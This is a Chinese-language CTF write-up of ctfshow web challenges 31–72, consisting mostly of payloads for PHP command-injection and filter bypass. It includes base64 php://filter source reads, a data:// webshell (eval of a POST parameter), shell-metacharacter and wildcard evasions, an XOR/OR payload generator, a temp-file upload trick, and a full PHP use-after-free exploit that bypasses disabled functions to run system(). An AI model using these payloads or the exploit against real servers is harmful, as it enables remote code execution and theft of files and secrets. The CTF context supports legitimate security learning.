web31
echo(`ls%09/`);
echo(`tac%09fla*`);
web32
过滤;
关键命令执行函数也不能用
用文件包含
其实这个做法也是靠刷题经验猜flag路径
c=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
靠比赛经验做真的没意思
其他方法也是可行的,不知道为啥在这不行
emmm
web33
因为过滤双引号,导致我们的参数不能为字符,传个数字即可
方法一:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
方法二
不加个双引号不就得了
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
web34
这次过滤了冒号:
应该是出题人整错了,他输的是中文的冒号
所以也可以用上述同样的方法
web35
过滤=,<
应该是\转义字符的原因,=过滤失效了
一样的payload
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
web 36
不说了,上一关一样
web 37
这次是文件包含
过滤了flag
利用data协议写shell
?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbcGVuc29uXSk7Pz4=
web 38
上题一样
web 39
?c=data://text/plain;base64,<?php system('tac fl*');?>
web 40
无参数RCE
web41
取反和异或,$被过滤
也不能通过位运算
但是 | 运算符没有被过滤
def action(arg):
s1=""
s2=""
for i in arg:
f=open("异或.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
print(t)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
print(output)
while True:
param=str(str(action(input("\n[+] your function:") )) + str(action(input("[+] your command:"))))
data={
'c':urllib.parse.unquote(param)
}
print(param)`在这里插入代码片`
web 42
有弹shell那味
但是不能用,后面的ip不能用,需要绕过,让后面的东西无效
利用命令执行那种拼接
; ||
tac fl* ;
官方wp是用 %0a绕过也就是换行
web 43
tac fla* ||
官方用 nl命令
web 44
这次用上一题的官方做法吧
tac fla*.php%0a
web 45
绕空格
tac${IFS}$9fla*.php${IFS}$9||
web 46
输入重定向,空字符拼接绕
c=tac<fla''g.php||
c={awk,’/f/’,fla???hp}||
web47
不变
?c=tac<fla''g.php||
web48
枯燥
?c=tac<fla''g.php||
web49
?c=tac<fla''g.php||
web 50
没意思,看看别人咋做的
?c=tac<fla''g.php||
?c=tac<>'fla'g.php||
查看文件的时候可以用这个
web 51
过滤tac
也是字符拼接绕
?c=t'a'c<>'fla'g.php||
web53
过滤了<
$没有过滤
flag位置变了
?c=t'a'c$IFS/fla''g||
web 54
if(!preg_match("/;|.*c.*a.t.|.*f.*l.*a.g.| |[0-9]|*|.*m.*o.*r.e.|.*w.*g.*e.t.|.*l.*e.*s.s.|.*h.*e.*a.d.|.*s.*o.*r.t.|.*t.*a.*i.l.|.*s.*e.d.|.*c.*u.t.|.*t.*a.c.|.*a.*w.k.|.*s.*t.*r.*i.*n.*g.s.|.*o.d.|.*c.*u.*r.l.|.*n.l.|.*s.*c.p.|.*r.m.|`|%|\x09|\x26|>|</i", $c))
有那味了
要学会利用linux 通配符
用grep命令
grep${IFS}f${IFS}fla?.php
web 55
无字母RCE
起初想着异或,但是是linux命令,.并不是拼接的命令而是运行bash脚本的命令
并且. 文件是不需要x权限的
膜一波大佬
p神的文章
首先构造上传POST数据包(copy人家的)
原文链接
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://76ce0edb-66ef-425a-832f-81a93fbca112.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
此时上传文件会保存一个临时文件在/tmp/phpxxxxxx
可以利用linux通配符来进行绕过
???但是这样会报错
这思路真的很清奇,p神我滴神
传入抓包
成功RCE
web56
没有过滤.同样的做法
查看flag有过滤,通配符绕就好
web 57
这次他过滤了.,flag在36.php 很明显要构造出36
get到一个新的知识点,这得对liunx命令有非常深入的了解
${_}的意思是返回上一个命令执行
$(()) 是0
$((~$(()))) 也就是~0 是-1
$(($((~$(())))$((~$(()))))) 也就是~(-1-1) 等于-2
因此往后面加n个$((~$(()))) 就是-n
而取反运算 ~-4 等于3
因此只需加37个$((~$(())))在进行取反
即可得到36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web 58-65
这题就是为了出题而做,没意义
做了安全过滤
highlight_file()
show_source()
web 66
不知道flag位置
print_r(scandir(’/’));
列出目录
web 67
不能用了
c=var_dump(scandir('/'));
web 68-70
highlight_file也被禁用
用包含
c=include('php://filter/read=convert.base64-
encode/resource=/flag.txt')?>
web 71
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
后面的代码不允许内容出现
只需exit()
c=include("/flag.txt");exit();
web 72
flag位置不知道了
?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
简单的说就是用glob协议遍历根目录下的文件
可以发现flag的位置
include包含无用
exp
?><?php
pwn("cat /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function my_str_repeat($a,$b){
$s = '';
for($i = 0; $i <= $b;$i++){
$s.=$a;
}
return $s;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(my_str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(my_str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
exit();